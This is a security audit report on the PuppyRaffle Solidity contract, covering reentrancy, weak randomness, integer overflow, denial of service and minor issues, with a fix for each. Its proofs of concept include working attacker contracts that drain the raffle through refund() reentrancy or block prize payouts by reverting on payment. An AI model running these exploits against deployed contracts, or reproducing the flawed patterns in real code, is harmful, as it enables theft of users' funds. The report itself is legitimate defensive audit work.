PuppyRaffle Security Review

Version 1.0

Audited by: andysec

March 3, 2024

Table of Contents

    * [I-5] Use of "magic" numbers is discouraged.
    * [I-6] State changes are missing events
    * [I-7] `PuppyRaffle::_isActivePlayer` function is never used.
  - Gas Findings
    * [G-1] Unchanged variables should be declared constant or immutable.
    * [G-2] Storage variables should be cached, whenever possible.
    * [G-3] The `PuppyRaffle::selectWinner` function fee calculation could be optimized.

Disclaimer

As a solo auditor, I make all efforts to find as many vulnerabilities in the code within the given time period. However, I hold no responsibility for the findings provided in this document. The audit was time-boxed, and the review of the code was focused solely on the security aspects of the Solidity implementation of the contracts. It is recommended proceeding with several independent audits and a public bug bounty program to ensure security of smart contracts.

Severity Classification

Severity		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Impact

- High: The issue has a severe impact on the security of the protocol. Funds are directly or near directly at risk.
- Medium: The issue has a moderate impact on the security of the protocol. Funds are indirectly at risk.
- Low: The issue has a low impact on the security of the protocol. Funds are not at risk.

Likelihood

- High: The issue is likely to be exploited, or the issue is easy to find and exploit.
- Medium: The issue might occur under specific conditions.
- Low: The isses unlikely to occur.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- Call the enterRaffle function with the following parameters:
  - address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- Duplicate addresses are not allowed
- Users are allowed to get a refund of their ticket & value if they call the refund function
- Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Review Details

Review Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f

Scope

./src/PuppyRaffle.sol

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

Findings count

Title	Severity
High	3
Medium	2
Low	1
Informational	7
Gas	3
Total	15

Findings

High Findings

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain all balance.

Description: The `PuppyRaffle::refund` functions doesn't follow the CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

Impact: A participant could drain the contract balance by calling the `PuppyRaffle::refund` function multiple times.

Proof of Concept:

1. Attacker contract enter the raffle.
2. Attacker contract get the index of array and call the `PuppyRaffle::refund` function.
3. `PuppyRace::refund` function send the entranceFee to the attacker contract and fallback function recursive calls the `PuppyRaffle::refund` function again until the contract balance is drained.

PoC Create the following contract attacker.

```
// code for demonstration purposes only
contract ReentrancyAttacker {
    PuppyRaffle public puppyRaffle;
    uint256 public immutable _entranceFee;
    uint256 public index;

    constructor(address victim) {
        puppyRaffle = PuppyRaffle(victim);
        _entranceFee = puppyRaffle.entranceFee();
    }

    // fallback is called when vulnerable contract sends Ether to this
       contract.
    receive() external payable {
        if (address(puppyRaffle).balance >= _entranceFee) {
            puppyRaffle.refund(index);
        }
    }

    function attack() external payable {
        require(msg.value == _entranceFee);
        address[] memory player = new address[](1);
        player[0] = address(this);
        puppyRaffle.enterRaffle{value: msg.value}(player);
        index = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(index);
    }
}
```

Place the following test into `PuppyRaffle.t.sol`.

```
function test_reentrancyRefund() public {
    // add some ether
    address[] memory players = new address[](3);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
```

```
    puppyRaffle.enterRaffle{value: entranceFee * 3}(players);

    ReentrancyAttacker attacker = new ReentrancyAttacker(
        address(puppyRaffle)
    );

    uint256 puppyRaffleBal = address(puppyRaffle).balance;
    assertEq(puppyRaffleBal, entranceFee * players.length);
    assertEq(address(attacker).balance, 0);

    // attack
    attacker.attack{value: entranceFee}();

    // PuppyRaffle drained
    assertEq(address(puppyRaffle).balance, 0);
    assertEq(address(attacker).balance, puppyRaffleBal + entranceFee);
}
```

Recommended Mitigation: To prevent this, the CEI pattern should be followed.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and the winning puppy.

Description: The `PuppyRaffle::selectWinner` function uses `msg.sender`, `block.timestamp`, `block.difficulty` as a source of randomness, which hashed together creates predictable number. A malicious users could figure out whether it is convenient to enter, or even front-run the function, calling `PuppyRaffle::refund`, if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the monmey and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validator can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See Solidity blog on prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner.
3. Users can revert their `PuppyRafffle::selectWinner` transaction if they don't like the winner or resulting puppy.

PoC Place the following test into `PuppyRaffle.t.sol`.

```
function test_badRandomness() public {
    // add some ether
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    // forwarding raffle over time
    uint256 raffleOverTime = puppyRaffle.raffleStartTime() +
        puppyRaffle.raffleDuration();
    skip(raffleOverTime);

    // in the same function / block ..
    // note: address(this) would be the selectWinner() msg.sender
    uint256 expWinnerIndex = uint256(
        keccak256(
            abi.encodePacked(
                address(this),
                block.timestamp,
                block.difficulty
            )
        )
    ) % players.length;
    address expWinner = puppyRaffle.players(expWinnerIndex);
    uint256 expRarity = uint256(
        keccak256(abi.encodePacked(msg.sender, block.difficulty))
    ) % 100;

    console.log(expWinner);
    console.log(expRarity);

    puppyRaffle.selectWinner();
    assertEq(expWinner, puppyRaffle.previousWinner());
}
```

Recommended Mitigation: Use Chainlink VRF (Verifiable Random Function) to generate a random number. See Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` and unsafe cast on fee calculated in `PuppyRaffle::selectWinner` stuck Eth permanently.

Description: The `PuppyRaffle::totalFees` is a `uint64` and the `PuppyRaffle::selectWinner` function calculates the `fee` as a `uint256` and then casts it to a `uint64`. If the `fee` exceeds maximum size of `uint64` (2^64 - 1), the `fee` casted will overflow and the contract fees funds will stuck permanently.

```
@>  uint64 public totalFees = 0;

    function selectWinner() external {
        ...
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
@>      totalFees = totalFees + uint64(fee);
        ...
    }

    function withdrawFees() external {
@>      require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
        ...
    }
```

Impact: The `PuppyRaffle::withdrawFees` function will not be able to withdraw the properly fees amount.

Proof of Concept:

The fee casted will exceed the maximum size of `uint64` at 93th entrant, because the `fee` is calculated as 20% of the `totalAmountCollected` and the `entranceFee` is 1 `ether`, so 93 `(entrant) * 2e17 (20% of 1 ether)= 186e17` exceeding maximum `uint64` number approx 184e17
.

1. 93th entrant enters the raffle.
2. The `PuppyRaffle::selectWinner` function calculates the `fee` and cast it to `uint64` which will overflow as approx 186e17 % 184e17 = 15e16.
3. `PuppyRaffle::selectWinner` increments the `totalFees` with the overflowed `fee`.

4. The `PuppyRaffle::withdrawFees` function will not be able to withdraw the properly fees amount.

PoC Place the following test into `PuppyRaffle.t.sol`.

```
function test_overflow() public {
        uint256 length = 93;
        address[] memory players = new address[](length);
        for (uint256 i = 0; i < length; i++) {
            players[i] = vm.addr(uint256(keccak256(abi.encode(address(i
                )))));
        }
        puppyRaffle.enterRaffle{value: entranceFee * length}(players);

        uint256 raffleOverTime = puppyRaffle.raffleStartTime() +
            puppyRaffle.raffleDuration();
        skip(raffleOverTime);

        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 fee = (totalAmountCollected * 20) / 100;

        puppyRaffle.selectWinner();

        uint256 expTotalFees = puppyRaffle.totalFees() + fee;

        assertNotEq(puppyRaffle.totalFees(), expTotalFees);
        assertNotEq(puppyRaffle.totalFees(), address(puppyRaffle).
            balance);

        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation:

1. The `PuppyRaffle::totalFees` should be a `uint256`.
2. Remove `fee` cast to `uint64` and balance check from the `PuppyRaffle::withdrawFees` function.
3. Use a newer Solidity version or use OpenZeppelin SafeMath library to prevent overflow with for prev 0.8 Solidity version.

Medium Findings

[M-1] Denial of service for `PuppyRaffle::enterRaffle` function, leading to increased gas costs for subsequent entrants.

Description: The function `PuppyRaffle::enterRaffle` iterates each element of the players array to check for duplicates, increasing the gas cost for each iteration. Thus, the more the number of players increases, the more transaction fees cost, making the system unfair for late entrants.

```
// @audit denial-of-service vulnerable
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate
            player");
    }
}
```

Impact: The attacker could spam the function `PuppyRaffle::enterRaffle` by making the array `PuppyRaffle::players` so large that it would discouraging other users from entering, ensuring their victory.

Proof of Concept: Inserting 2 list of 100 players, the gas costs will be ~3x more expensive for the second entrants.

- 1st entrant = ~6252080 gas
- 2nd entrant = ~18067717 gas

PoC Place the following test into `PuppyRaffle.t.sol`.

```
function test_denialOfService() public {
    uint256 length = 100;
    vm.txGasPrice(1);

    address[] memory playersListOne = new address[](length);
    address[] memory playersListTwo = new address[](length);
    for (uint256 i = 0; i < length; i++) {
        playersListOne[i] = address(i);
        playersListTwo[i] = address(length + i);
    }

    uint256 gasStartOne = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * length}(playersListOne
        );
    uint256 gasEndOne = gasleft();
    uint256 gasUsedOne = (gasStartOne - gasEndOne) * tx.gasprice;

    uint256 gasStartTwo = gasleft();
```

```
    puppyRaffle.enterRaffle{value: entranceFee * length}(playersListTwo);
    uint256 gasEndTwo = gasleft();
    uint256 gasUsedTwo = (gasStartTwo - gasEndTwo) * tx.gasprice;

    console.log(gasUsedOne);
    console.log(gasUsedTwo);
    assert(gasUsedOne < gasUsedTwo);
}
```

Recommended Mitigation: There are a few recommendations:

1. Consider allowing duplicates. Checking whether a duplicate exists does not remove the possibility of the same user creating multiple wallets.
2. Consider using a mapping to check for duplicates. This would allow constant access time to check if a user has already entered.
3. Condider using OpenZeppelin EnumerableSet library (https://docs.openzeppelin.com/contracts/3.x/api/utils#Enu

[M-2] The `PuppyRaffle::selectWinner` mishandling ether transfer, because a malicious user could omit or revert the `fallback` function.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract that rejects payment, the lottery will not be able to restart.

```
    function selectWinner() external {
        ...
        (bool success, ) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        ...
    }
```

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult. True winners would not get paid out and someone else could take their money! In addition, a malicious user could enters a lot of malicious participants to increase the gas cost of the `PuppyRaffle::selectWinner` causing denial of service.

Proof of Concept:

1. A malicious user creates a smart contract that reverts the `fallback` function.
2. The malicious user enters the smart contract into the raffle.
3. The `PuppyRaffle::selectWinner` function will stuck until new winner doesn't reject the payment.

PoC Create the following contract attacker.

```
// code for demonstration purposes only
contract FallbackAttacker {
    PuppyRaffle public puppyRaffle;
    uint256 public immutable _entranceFee;

    constructor(address victim) {
        puppyRaffle = PuppyRaffle(victim);
        _entranceFee = puppyRaffle.entranceFee();
    }

    receive() external payable {
        revert();
    }
}
```

Place the following test into `PuppyRaffle.t.sol`.

```
function test_rejectedPayment() public {
    uint256 length = 4;

    address[] memory players = new address[](length);
    for (uint256 i = 0; i < length; i++) {
        players[i] = address(new FallbackAttacker(address(puppyRaffle)));
    }

    puppyRaffle.enterRaffle{value: entranceFee * length}(players);

    // forwarding raffle over time
    uint256 raffleOverTime = puppyRaffle.raffleStartTime() +
        puppyRaffle.raffleDuration();
    skip(raffleOverTime);

    vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
    puppyRaffle.selectWinner();
}
```

Recommended Mitigation: Implement pull-payment pattern function, where the winner should withdraw the prize pool themselves.

Low Findings

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 if the player has not been found or is at `players` index 0.

Description: If `playerAddress` argument is the first element of the `players` array, the function will return 0, which is the same as if the player has not been found.

```
    function getActivePlayerIndex(address playerAddress)
        public
        view
        returns (uint256)
    {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == playerAddress) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter again, wasting gas.

Proof of Concept:

1. User enters the raffle as the first player.
2. User calls `PuppyRaffle::getActivePlayerIndex` and receives `0` as the return value thinking they have not entered the raffle as described in the documentation.

Recommended Mitigation: The function should revert if the player has not been found or return an `int256` type and use `-1` as return value.

Informational Findings

[I-1] Solidity pragma should be specific, not wide.

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 3

[I-2] Using an outdated version of Solidity is not recommended.

Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

When deploying contracts, you should use the latest released version of Solidity. Apart from exceptional cases, only the latest version receives security fixes. Furthermore, breaking changes as well as new features are introduced regularly. See slither documentation for more informations.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

Instances:

- Found in src/PuppyRaffle.sol Line: 78
- Found in src/PuppyRaffle.sol Line: 202
- Found in src/PuppyRaffle.sol Line: 225

[I-4] The `PuppyRaffle::selectWinner` doesn't follow the CEI pattern, which is not a recommended practice.

In this case there is no likelihood of reentrancy attack.

```
    function selectWinner() external {
        // this check blocks any reentrancy attack, as raffeStartTime
           is updated before transfer Eth
        require(
            block.timestamp >= raffleStartTime + raffleDuration,
            "PuppyRaffle: Raffle not over"
        );
        ...
        raffleStartTime = block.timestamp;
        ...
        (bool success, ) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to
           winner");
        _safeMint(winner, tokenId);
    }
```

However, it's always recommended to keep code clean and follow the CEI (Checks-Effects-Interactions) pattern.

```
-   (bool success, ) = winner.call{value: prizePool}("");
```

```
-   require(success, "PuppyRaffle: Failed to send prize pool to winner"
   );
    _safeMint(winner, tokenId);
+   (bool success, ) = winner.call{value: prizePool}("");
+   require(success, "PuppyRaffle: Failed to send prize pool to winner"
   );
```

[I-5] Use of "magic" numbers is discouraged.

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
    POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State changes are missing events

The `PuppyRaffle` contract is missing events for some state changes. Events are a way to log and notify external applications when a state change occurs.

Ensure that all state changes are logged with an event.

[I-7] `PuppyRaffle::_isActivePlayer` function is never used.

Consider removing the `PuppyRaffle::_isActivePlayer` function if it is not used, or make it external if it is used outside the contract.

For Gas optimization, it's recommended to remove unused functions.

Gas Findings

[G-1] Unchanged variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`.
- `PuppyRaffle::commonImageUri` should be `constant`.
- `PuppyRaffle::rareImageUri` should be `constant`.
- `PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] Storage variables should be cached, whenever possible.

Reading from storage is much more expensive than reading from local memory. Reading from storage in a loop can be very expensive.

Instances:

- `players.length` in `PuppyRaffle::enterRaffle` function.
- `players.length` in `PuppyRaffle::selectWinner` function.

```
+     uint256 length = players.length;
+     for (uint256 i = 0; i < length - 1; i++) {
-     for (uint256 i = 0; i < players.length - 1; i++) {
+         for (uint256 j = i + 1; j < length; j++) {
-         for (uint256 j = i + 1; j < players.length; j++) {
              require(
                  players[i] != players[j],
                  "PuppyRaffle: Duplicate player"
              );
          }
      }
```

[G-3] The `PuppyRaffle::selectWinner` function fee calculation could be optimized.

The `PuppyRaffle::selectWinner` function calculates the `fee` unnecessarily when just removing `prizePool` from `totalAmountCollected` would be enough.

```
          uint256 totalAmountCollected = players.length * entranceFee;
          uint256 prizePool = (totalAmountCollected * 80) / 100;
+         uint256 fee = totalAmountCollected - prizePool;
-         uint256 fee = (totalAmountCollected * 20) / 100;
```